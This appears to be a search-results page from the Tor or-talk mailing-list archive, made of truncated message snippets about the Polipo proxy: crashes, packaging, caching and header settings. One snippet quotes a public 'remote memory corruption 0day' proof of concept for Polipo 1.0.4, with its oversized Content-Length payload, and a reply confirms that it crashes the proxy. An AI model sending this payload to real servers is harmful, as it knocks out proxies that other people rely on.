--- Begin Message ---
Hello,
the Polipo in
https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.22-alpha-0.2.10-ppc.dmg
crashes on startup as follows:
"dyld: /Applications/Vidalia.app.new/Contents/MacOS/polipo Undefined
symbols:
/Applications/Vidalia.app.new/Contents/MacOS/p
On 1/31/2011 7:58 PM, Geoff Down wrote:
The difference is that the PPC bundle with vidalia 0.2.9 was built on a
10.3.9 ppc mac. However, the 10.3.9 machine died a smelly, melty
death during a build a few months ago.
Is nobody freecycling one? http://www.freecycle.org/group/US/
GD
I may be wro
On Mon, 31 Jan 2011 08:56 -0500, "Andrew Lewman"
wrote:
> On Mon, 31 Jan 2011 12:20:10 +
> "Geoff Down" wrote:
> > Thank you Juliusz, I appreciate your efforts.
> > Clearly Tor needs to ship with a working Polipo, so if this is a real
> > fault
* Andrew Lewman [2011:01:31 08:56 -0500]:
> On Mon, 31 Jan 2011 12:20:10 +
> "Geoff Down" wrote:
> > Thank you Juliusz, I appreciate your efforts.
> > Clearly Tor needs to ship with a working Polipo, so if this is a real
> > fault would the bundle devel
On Mon, 31 Jan 2011 12:20:10 +
"Geoff Down" wrote:
> Thank you Juliusz, I appreciate your efforts.
> Clearly Tor needs to ship with a working Polipo, so if this is a real
> fault would the bundle developers please revert to the version which
> was in the Vidalia 0.2.9
On Mon, 31 Jan 2011 07:09 +0100, "Juliusz Chroboczek"
wrote:
> >> ( I saw http://archives.seul.org/or/talk/Jan-2011/msg00161.html but it
> >> doesn't specify where the new bugtracker is).
>
> > We do not know of any new bug tracker for Polipo. If y
>> ( I saw http://archives.seul.org/or/talk/Jan-2011/msg00161.html but it
>> doesn't specify where the new bugtracker is).
> We do not know of any new bug tracker for Polipo. If you have a bug
> report for Polipo itself, report it to the polipo-users mai
On Sun, 30 Jan 2011 16:20 -0800, "Robert Ransom"
wrote:
> On Sun, 30 Jan 2011 22:59:49 +
> "Geoff Down" wrote:
>
> > how do I report a bug with the Polipo in
> > https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.22-alpha-0.2.10-
On Sun, 30 Jan 2011 22:59:49 +
"Geoff Down" wrote:
> how do I report a bug with the Polipo in
> https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.22-alpha-0.2.10-ppc.dmg
> ?
> And how do I tell which version is in there also please?
If that bundle c
Hi,
how do I report a bug with the Polipo in
https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.22-alpha-0.2.10-ppc.dmg
?
And how do I tell which version is in there also please?
( I saw http://archives.seul.org/or/talk/Jan-2011/msg00161.html but it
doesn't specify where th
On Fri, 21 Jan 2011 08:32 +0100, "Erinn Clark"
wrote:
> * Geoff Down [2011:01:20 12:56 +0000]:
> > The Polipo in
> > https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.21-alpha-0.2.10-ppc-1.dmg
> > is broken:
> >
> > dyld: /Applica
* Geoff Down [2011:01:20 12:56 +]:
> The Polipo in
> https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.21-alpha-0.2.10-ppc-1.dmg
> is broken:
>
> dyld: /Applications/Vidalia.app.new/Contents/MacOS/polipo Undefined
> symbols:
> /Applications/Vidalia.a
ecution (CVE-2011-0427). Other fixes address a variety of assert
> and crash bugs, most of which we think are hard to exploit remotely.
>
> All Tor users should upgrade.
The Polipo in
https://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.2.21-alpha-0.2.10-ppc-1.dmg
andr...@fastmail.fm wrote:
> I'm using Ubuntu 10.04 and have the Tor browser bundle installed.
>
> After Ubuntu boots up and I try to start Tor I find that Tor won't
> start. I found that Polipo is running so I did a Pidof polipo and then
> a sudo kill (for
Hi Andre,
having polipo running should not prevent tor from running.
What messages did tor emit when it failed to start?
polipo is useful as a http proxy (which tor is not).
typically, you would set your system-wide http-proxy
environment variable to point to polipo, and configure
polipo to use
Am 19.01.2011 03:27, schrieb andr...@fastmail.fm:
I'm using Ubuntu 10.04 and have the Tor browser bundle installed.
After Ubuntu boots up and I try to start Tor I find that Tor won't
start. I found that Polipo is running so I did a Pidof polipo and then
a sudo kill (for the poli
I'm using Ubuntu 10.04 and have the Tor browser bundle installed.
After Ubuntu boots up and I try to start Tor I find that Tor won't
start. I found that Polipo is running so I did a Pidof polipo and then
a sudo kill (for the polipo process number).
Is there any reason I should h
Hi,
travis+ml-tor-t...@subspacefield.org wrote (17 Jan 2011 23:55:16 GMT) :
> I am unsure of whether it should be in the debian repo, since the
> dependencies aren't even in there yet.
What are the missing dependencies? (I have not had a single look at
your package yet, sorry.)
> However, I cou
On Mon, 17 Jan 2011 12:21:56 -0800
travis+ml-tor-t...@subspacefield.org wrote:
> > The real answer is to fix firefox so it doesn't need a proxy
> > between it and Tor. We patch firefox to do just this in the osx
> > and linux tor browser bundles. Polipo was a fine klu
ry and
see what they think.
> I don't think pushing this package to Debian and Ubuntu is that hard
> and I suggest the following process:
>
> 0. If not done yet, compare the default polipo configuration you are
>shipping with the Tor Browser Bundle's and T(A)ILS' o
ess:
0. If not done yet, compare the default polipo configuration you are
shipping with the Tor Browser Bundle's and T(A)ILS' ones, just to
make sure no privacy/anonymity-related option was missed.
1. Make sure your package is in good enough shape so that it can be
included in
On Thu, Jan 13, 2011 at 12:03:58AM -0500, and...@torproject.org wrote:
> On Fri, Jan 07, 2011 at 03:21:22PM -0800,
> travis+ml-tor-t...@subspacefield.org wrote 15K bytes in 259 lines about:
> There has been much discussion over a combined tor and polipo package,
> as well as a vidali
the debian packaging tools and docs are complicated and
: annoying.
There has been much discussion over a combined tor and polipo package,
as well as a vidalia-tor-polipo package for deb-based systems.
The core issue is that packages should not overwrite other packages
config files. We'
> git clone git://git.wifi.pps.jussieu.fr/polipo
Do you have a gitweb? That would be nice.
> Chris's old branch is called polipo-chrisd
Oh, meaning 'chrisd/polipo' @ 20100113
193d95e3906967433081e0b10626a67c075ac131
> and his last tree is tagged ``polipo-chrisd-20100330
--- Begin Message ---
Dear all,
I've just moved the Polipo repository back to PPS. In order to get the
upstream Polipo sources, you now need to do
git clone git://git.wifi.pps.jussieu.fr/polipo
My branch is called ``master''; Chris's old branch is called
``polipo-chrisd&
bspacefield.org/~travis/
If you are a spammer, please email j...@subspacefield.org to get blacklisted.
polipo-tor_1.3_all.deb
Description: application/debian-package
pgpsdPPythEW5.pgp
Description: PGP signature
On Thu, Dec 23, 2010 at 09:26:17AM -0500, pe...@aleksandrsolzhenitsyn.net wrote
1.4K bytes in 34 lines about:
: I just upgraded my Tor setup with the Browser Bundle. It runs fine but
: I noticed that I have privoxy and polipo still on my system from the old
: setup.
:
: Can I delete them?
If
I just upgraded my Tor setup with the Browser Bundle. It runs fine but
I noticed that I have privoxy and polipo still on my system from the old
setup.
Can I delete them?
signature.asc
Description: OpenPGP digital signature
On Sun, 21 Nov 2010 11:48:59 +
Matthew wrote:
> Hello,
>
> According to the Tor manual
> (https://trac.torproject.org/projects/tor/wiki/TheOnionRouter/TorFAQ#IkeepseeingthesewarningsaboutSOCKSandDNSandinformationleaks.ShouldIworry)
>
> one should use SOCKS 4a.
&g
Hello,
According to the Tor manual
(https://trac.torproject.org/projects/tor/wiki/TheOnionRouter/TorFAQ#IkeepseeingthesewarningsaboutSOCKSandDNSandinformationleaks.ShouldIworry)
one should use SOCKS 4a.
AIUI, Polipo or Privoxy are used as HTTP proxies which then allow the
client (Firefox
>>> I can see it could provide some protection against...
>> No. Why do you think it could?
> - because by default - lots of additional reasons...
The shim was just supposed to be a tool so you could hook into
an http[s] stream and do whatever with it, or nothing at all.
For instance, I've always
On Mon, Aug 23, 2010 at 8:58 AM, morphium wrote:
>> I can see it could provide some
>> protection against ssl/ssh mitm attacks.
>
> No. Why do you think it could?
- because by default applications trust either a large, promiscuous
set of certificate authorities, or even worse, use the operating
s
> For the most part, anything involving HTTPS, needs to be taken care of in
> the browser itself.
My personal opinion (and I'm the author of Polipo) is that all content
munging should be done in the browser -- munging in the proxy is
a broken design. Unfortunately, the browser vendor
> I can see it could provide some
> protection against ssl/ssh mitm attacks.
No. Why do you think it could?
> It could better protect the
> "browser" (or other app) by moving some of the ssl/tls/cert logic out to an
> open source proxy of sorts.
Protect? Of what? How?
> It could better protect
On Sat, Aug 21, 2010 at 6:18 PM, grarpamp wrote:
>
>
> Nothing in the open source field can do so yet afaik.
>
> To do it, a shim needs to be coded and placed between the application and
> Tor.
> user <-> browser <-> [optional tool] <-> shim <-> tor:9050
>
> The shim needs to listen on a proxy por
> > https://anonymous-proxy-servers.net/en/anontest
> As I understand it, Polipo can't scrub the headers of an HTTPS request,
Nothing in the open source field can do so yet afaik.
To do it, a shim needs to be coded and placed between the application and Tor.
user <-> browse
)
As I understand it, Polipo can't scrub the headers of an HTTPS request,
even if you use it as an HTTPS proxy.
(snip)
***
To unsubscribe, send an e-mail to majord...@torproject.org with
unsubscribe or-talkin the body.
2, from,accept-language,
>> user-agent
>> censorReferer = true
>>
>> my header is not clean and in fact shows my OS :(
>>
>> tested using..
>> https://anonymous-proxy-servers.net/en/anontest
>
> As I understand it, Polipo can't scrub the hea
:(
>
> tested using..
> https://anonymous-proxy-servers.net/en/anontest
As I understand it, Polipo can't scrub the headers of an HTTPS request,
even if you use it as an HTTPS proxy.
Robert Ransom
signature.asc
Description: PGP signature
still the same. i uncommented and added user-agent
censoredHeaders = set-cookie, cookie, cookie2, from,accept-language, user-agent
censorReferer = true
my header is not clean and in fact shows my OS :(
tested using..
https://anonymous-proxy-servers.net/en/anontest
***
Trystero Lot writes:
> it seems the censoredHeaders not working for me.
It works for me.
> have anyone tried to use this and add useragent?
It's "user-agent", not "useragent".
censoredHeaders = user-agent
Juliusz
***
it seems the censoredHeaders not working for me. have anyone tried to
use this and add useragent?
***
To unsubscribe, send an e-mail to majord...@torproject.org with
unsubscribe or-talkin the body. http://archives.seul.org/or/t
> From: j...@pps.jussieu.fr
> To: or-talk@freehaven.net
> Subject: Re: Polipo question
> Date: Sat, 8 May 2010 18:08:22 +0200
>
> > does anyone know if there is a config file option to turn off all
> > caching in Polipo?
>
> If you look at the Polipo manual,
> does anyone know if there is a config file option to turn off all
> caching in Polipo?
If you look at the Polipo manual, there's an index. If you look at the
index, there's an entry for "uncachable". If you follow the entry,
you'll find the config va
I'm not sure whether either of these bugs are fixed at present (ugh). So
I'd recommend sticking with yes (or true, I guess it's called now).
If "yes" is the same as "true" then this is a setting the Polipo manual
strongly advises against. "Finally
On Sun, Apr 11, 2010 at 11:14:31PM +0100, Matthew wrote:
>> If you change the options, you should see polipo query your local dns
>> resolver either directly, or via gethostbyname.
>>
> But if you change it to "false" would that not be the safest option -
&
If you change the options, you should see polipo query your local dns
resolver either directly, or via gethostbyname.
But if you change it to "false" would that not be the safest option -
from what I can gather in this situation Polipo would never do i
and...@torproject.org wrote:
In practice, with that config file, dns queries are passed to tor
directly for resolution, not being done by polipo nor the actual system
resolver.
Thank you for the confirmation.
If you change the options, you should see polipo query your local dns
resolver
On Thu, Apr 08, 2010 at 04:24:06PM +0100, pump...@cotse.net wrote 2.7K bytes in
64 lines about:
> The standard Polipo configuration file for Ubuntu located at
> https://svn.torproject.org/svn/torbrowser/trunk/build-scripts/config/polipo.conf
>
> should replace the configurat
Hello,
The standard Polipo configuration file for Ubuntu located at
https://svn.torproject.org/svn/torbrowser/trunk/build-scripts/config/polipo.conf
should replace the configuration file one downloads when Polipo is
installed according to http://www.torproject.org/docs/tor-doc-unix.html.en
I believe the answer is that you can't turn off caching. It's core to
what polipo does. But perhaps Chris or Juliusz will contradict me.
> Polipo is on port 8118 for Tor: anyhow, Firefox won't connect to
>localhost - it's 'restricted'.
My guess is that's ac
> Subject: Re: Polipo question
> From: incoming.li...@ax11.de
> To: or-talk@freehaven.net
> Date: Thu, 1 Apr 2010 23:10:09 +0200
>
> Am Donnerstag, den 18.03.2010, 23:35 -0400 schrieb downie -:
> > Hi,
> > does anyone know if there is a config file option
Am Donnerstag, den 18.03.2010, 23:35 -0400 schrieb downie -:
> Hi,
> does anyone know if there is a config file option to turn off all
> caching in Polipo?
> I am having a problem with variable PHP pages being cached, and would
> prefer not to have to add Cache-Control headers
I'm running some automated widgets that connect to various onions.
The breakdown of 702 Polipo connects across about as many onions
is:
a 85 ok
b 1 ERROR 504: Connect to failed: General SOCKS server failure.
c 9 ERROR 504: Connect to failed: SOCKS connection not allowed.
d 99 ERRO
> Date: Sat, 20 Mar 2010 10:52:28 -0400
> From: and...@torproject.org
> To: or-talk@freehaven.net
> Subject: Re: Polipo question
>
> On Thu, Mar 18, 2010 at 11:35:49PM -0400, downgeo...@hotmail.com wrote 1.8K
> bytes in 53 lines about:
> : does anyone know if there is
On Thu, Mar 18, 2010 at 11:35:49PM -0400, downgeo...@hotmail.com wrote 1.8K
bytes in 53 lines about:
: does anyone know if there is a config file option to turn off all caching in
Polipo?
I think you have to compile it without caching. Have you tried setting
chunkhighmark and objecthighmark
Hi,
does anyone know if there is a config file option to turn off all caching in
Polipo?
I am having a problem with variable PHP pages being cached, and would prefer
not to have to add Cache-Control headers everywhere. The manual doesn't seem to
allow for that eventuality.
d
Thank you very much.
-Original Message-
From: downie -
To: Or-talk
Sent: Sat, Mar 13, 2010 10:22 am
Subject: RE: Polipo automatic?
To: or-talk@freehaven.net
Subject: Polipo automatic?
Date: Fri, 12 Mar 2010 21:50:23 -0500
From: zzzjethro...@email2me.net
Hi.
Just read a
To: or-talk@freehaven.net
Subject: Polipo automatic?
Date: Fri, 12 Mar 2010 21:50:23 -0500
From: zzzjethro...@email2me.net
Hi.
Just read a post made me think of this:
On Mac 10.5.2, with the Vidalia/Bundle, does Polipo automatically run after
starting Vidalia or do I have to start it
Hi.
Just read a post made me think of this:
On Mac 10.5.2, with the Vidalia/Bundle, does Polipo automatically run after
starting Vidalia or do I have to start it separately? I think it's now Polipo
rather than Privoxy for v 0.2.1.24-0.2.7?
thanks
Egg --> My face
Well done, guys.
R
On Sat, Feb 20, 2010 at 4:57 PM, Andrew Lewman wrote:
> On 02/20/2010 04:41 PM, Rich Jones wrote:
>> While we're discussing the bundle, I'd like to mention something
>> that's been on my mind lately. I recently ran a Privacy Tech Workshop
>> at the Students for
On 02/20/2010 04:41 PM, Rich Jones wrote:
> While we're discussing the bundle, I'd like to mention something
> that's been on my mind lately. I recently ran a Privacy Tech Workshop
> at the Students for Free Culture conference in DC - and the general
> conclusion is that Tor/FF is too hard to use a
Dealing with Chromium devs on incognito integratio is a great idea.
While we're discussing the bundle, I'd like to mention something
that's been on my mind lately. I recently ran a Privacy Tech Workshop
at the Students for Free Culture conference in DC - and the general
conclusion is that Tor/FF i
On 02/20/2010 03:58 PM, Marco Bonetti wrote:
> Andrew Lewman wrote:
>> Chrisd even wrote Mozilla a patch and submitted it on the bug.
> cool, do you apply the patch to windows tor bundles? if not, it could be
> worth to be applied :)
No, we don't build our own Firefox yet. I've been resisting add
On 02/20/2010 12:38 PM, Flamsmark wrote:
>> Once Firefox fixes bug 280661, we don't need a http proxy at all.
>> However, given the current pace of progress on 280661, we may switch to
>> Chrome before the fix occurs.
> If the switch to Chrome was made, I assume that there'd be a port of the
> TorB
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Andrew Lewman wrote:
> Chrisd even wrote Mozilla a patch and submitted it on the bug.
cool, do you apply the patch to windows tor bundles? if not, it could be
worth to be applied :)
on the other side, I've mixed feelings regarding the possible switch
f
On 02/20/2010 03:36 AM, zzzjethro...@email2me.net wrote:
> How does one, or rather I, do this switch on my Mac 10.5.2 ppc?
> Thanks and should I?
Should you switch? I cannot answer that.
How to switch? I can answer that at a high-level.
Install privoxy from http://www.privoxy.org/, reconfigur
On 19 February 2010 20:32, Andrew Lewman wrote:
> Once Firefox fixes bug 280661, we don't need a http proxy at all.
> However, given the current pace of progress on 280661, we may switch to
> Chrome before the fix occurs.
>
If the switch to Chrome was made, I assume that there'd be a port of the
Thank you Andrew for the nice explication!
2010/2/19 Andrew Lewman
> On 02/15/2010 12:09 PM, Michael Gomboc wrote:
> > Why is polipo used and no longer privoxy?
>
> The first question is, "why a http proxy at all?"
>
> The answer is, because Firefox SOCKS lay
How does one, or rather I, do this switch on my Mac 10.5.2 ppc?
Thanks and should I?
-Original Message-
From: Andrew Lewman
To: or-talk@freehaven.net
Sent: Sat, Feb 20, 2010 8:32 am
Subject: Re: why polipo?
On 02/15/2010 12:09 PM, Michael Gomboc wrote:
> Why is polipo u
On 02/15/2010 12:09 PM, Michael Gomboc wrote:
> Why is polipo used and no longer privoxy?
The first question is, "why a http proxy at all?"
The answer is, because Firefox SOCKS layer has hard-coded timeouts, and
other issues, https://bugzilla.mozilla.org/show_bug.cgi?id=280661.
On Mon, Feb 15, 2010 at 6:09 PM, Michael Gomboc
wrote:
> Hi,
Hi,
> Why is polipo used and no longer privoxy?
> Could someone point me in the right direction.
This might answer your question:
https://blog.torproject.org/blog/investigating-http-proxy-performance-tor
--
Run
Hi,
Why is polipo used and no longer privoxy?
Could someone point me in the right direction.
Thanx
--
Michael Gomboc
pgp-id: 0x5D41FDF8
On Sun, Jan 03, 2010 at 05:08:41PM +0100, mangobl...@gmail.com wrote 9.2K bytes
in 163 lines about:
> As polipo has now replaced privoxy in the default tor setup I am trying
> to use it, but it doesn't work.
In general, you should start a new thread rather than hijack an exist
Hi,
As polipo has now replaced privoxy in the default tor setup I am trying
to use it, but it doesn't work.
Could someone please help me do these 2 things:
1. Run polipo as a windows 2003 service.
Everytime I try to start polipo as a service it crashes. I tried to set
daemonise=tr
On Sun, 2009-12-27 at 14:06 +0100, Gitano wrote:
> arshad wrote:
>
> > but now i want to disable that deanaimate gif thing. but there isn't a
> > place in config file to do that :(
>
> The place for personal configuration in privoxy is 'user.action'.
> You can append these two lines:
>
> {-deani
arshad wrote:
> but now i want to disable that deanaimate gif thing. but there isn't a
> place in config file to do that :(
The place for personal configuration in privoxy is 'user.action'.
You can append these two lines:
{-deanimate-gifs}
/ # Match all URLs
On Sun, 2009-12-27 at 04:50 -0700, Jim wrote:
>
> arshad wrote:
> > hi all,
> > what is the difference in using privoxy and polipo?
> > im in ubuntu and have used both. and privoxy seems unable to render
> > all .gifs file. it shows part of the gif or in some case
On Sun, 2009-12-27 at 04:50 -0700, Jim wrote:
>
> arshad wrote:
> > hi all,
> > what is the difference in using privoxy and polipo?
> > im in ubuntu and have used both. and privoxy seems unable to render
> > all .gifs file. it shows part of the gif or in some case
arshad wrote:
hi all,
what is the difference in using privoxy and polipo?
im in ubuntu and have used both. and privoxy seems unable to render
all .gifs file. it shows part of the gif or in some cases won't show the
animation.
Privoxy has the ability to "deanimate" gifs. Che
hi all,
what is the difference in using privoxy and polipo?
im in ubuntu and have used both. and privoxy seems unable to render
all .gifs file. it shows part of the gif or in some cases won't show the
animation.
why is this?
thank you very
Darren Thurston wrote:
>
> #!/usr/bin/perl
> # estranged.pl
> # AKA
> # Polipo 1.0.4 Remote Memory Corruption 0day PoC
Cute.
> $payload = "GET / HTTP/1.1\r\nContent-Length: 2147483602\r\n\r\n";
>
The proof of concept works as advertised. Wheee.
Here's
#!/usr/bin/perl
# estranged.pl
# AKA
# Polipo 1.0.4 Remote Memory Corruption 0day PoC
#
# Jeremy Brown [0xjbrow...@gmail.com//jbrownsec.blogspot.com//krakowlabs.com]
12.07.2009
Great. I've posted this to the polipo user mailing list, but in case you
missed it, here is the valgrind output from a recent polipo session which
crashed. Hopefully you can decipher this to see what you might be able to
do. If you need anything else, just holler.
==29795== Memcheck, a m
On Tue, May 05, 2009 at 08:37:28AM -0700, Wesley Kenzie wrote:
> Hi, Christopher. If you could also solve the known instability issues with
> polipo that Juliusz has not had time to resolve in the past year, then many
> would be grateful. I cannot get polipo to run for more than abou
On Tue, May 05, 2009 at 04:16:07PM -0700, Kyle Williams wrote:
> > I'll be working to increase Polipo's portability for GSoC 2009,
>
> I thought Polipo was already portable. I've been using it with D.A.D. on a
> USB drive for over a year, and haven't had any
e working with
> Juliusz Chroboczek, author of Polipo, to hopefully get some of the
> changes committed.
>
I thought Polipo was already portable. I've been using it with D.A.D. on a
USB drive for over a year, and haven't had any problems.
>
> The main idea of the project ce
Hi, Christopher. If you could also solve the known instability issues with
polipo that Juliusz has not had time to resolve in the past year, then many
would be grateful. I cannot get polipo to run for more than about an hour
without it crashing.
. . . . .
Wesley
On Tue, May 5, 2009 at 12:10 AM
Hello,
I'll be working to increase Polipo's portability for GSoC 2009,
which starts a bit later this month. I'm happy to have Nick Mathewson
of the Tor project as my mentor, and I'll also be working with
Juliusz Chroboczek, author of Polipo, to hopefully get some of the
cha
Hi,
I'm using polipo. When I choose an exit node by sticking node.exit on
the end of a url, I think that is actually passed on with the Host
header. How do I get polipo to strip that off?
For example, "http://www.showmyip.com.tortila.exit/"; doesn't work as it
has
Hi,
I'm trying to switch from privoxy to polipo. But polipo seems to have an
annoying problem. Polipo gets started as a service while booting, the same as I
did with privoxy. But tor gets just started with activating Vidalia.
The problem is if tor is not running when polipo gets start
> : > a bobnjoe browser
> : For the crass foreigners among us -- what does this idiom mean?
> Bob & Joe's Bait, Tackle, and Web Browsers [...] Sorry for the confusion.
Quite the opposite -- thanks to you for the snippet of local colour.
Juliusz
On Thu, Oct 18, 2007 at 12:54:30AM +0200, [EMAIL PROTECTED] wrote 0.1K bytes in
5 lines about:
: > a bobnjoe browser
:
: For the crass foreigners among us -- what does this idiom mean?
It's a phobosism as a result of growing up in a rural area. I meant it
as a very small population of users. S
> a bobnjoe browser
For the crass foreigners among us -- what does this idiom mean?
Juliusz
On Monday 15 October 2007 20:37:58 Kasimir Gabert wrote:
> > On 10/15/07, Robert Hogan <[EMAIL PROTECTED]> wrote:
> > > On Sunday 14 October 2007 19:50:38 [EMAIL PROTECTED] wrote:
> > > > On Sat, Oct 13, 2007 at 09:21:40AM +0100, [EMAIL PROTECTED]
> > >
> > > > : Spoof http-headers as though a US e
> On 10/15/07, Robert Hogan <[EMAIL PROTECTED]> wrote:
> > On Sunday 14 October 2007 19:50:38 [EMAIL PROTECTED] wrote:
> > > On Sat, Oct 13, 2007 at 09:21:40AM +0100, [EMAIL PROTECTED] wrote 0.9K
> > bytes in 30 lines about:
> > > : Do:
> > > : Spoof user-agent (is this necessary even with javascri
People will know that you are in the UAE if you are browsing websites
that are only for people and used by people in the UAE.
Kasimir Gabert
On 10/15/07, Robert Hogan <[EMAIL PROTECTED]> wrote:
> On Sunday 14 October 2007 19:50:38 [EMAIL PROTECTED] wrote:
> > On Sat, Oct 13, 2007 at 09:21:40AM +0
On Sunday 14 October 2007 19:50:38 [EMAIL PROTECTED] wrote:
> On Sat, Oct 13, 2007 at 09:21:40AM +0100, [EMAIL PROTECTED] wrote 0.9K
bytes in 30 lines about:
> : Do:
> : Spoof user-agent (is this necessary even with javascript disabled?)
> : (browser)
>
> Arguably, unless you're using BobnJoe's br
On Tuesday 09 October 2007, Juliusz Chroboczek wrote:
> > It's fairly easy to convert the adblock plus 'easylist' into a polipo
> > forbidden file.
>
> Do you have a script you'd be willing to share? I'd b
On Sat, Oct 13, 2007 at 09:21:40AM +0100, [EMAIL PROTECTED] wrote 0.9K bytes in
30 lines about:
: Do:
: Spoof user-agent (is this necessary even with javascript disabled?) (browser)
Arguably, unless you're using BobnJoe's browser, any of the popular ones
should provide sufficient numbers (firefox
1 - 100 of 151 matches
Mail list logo
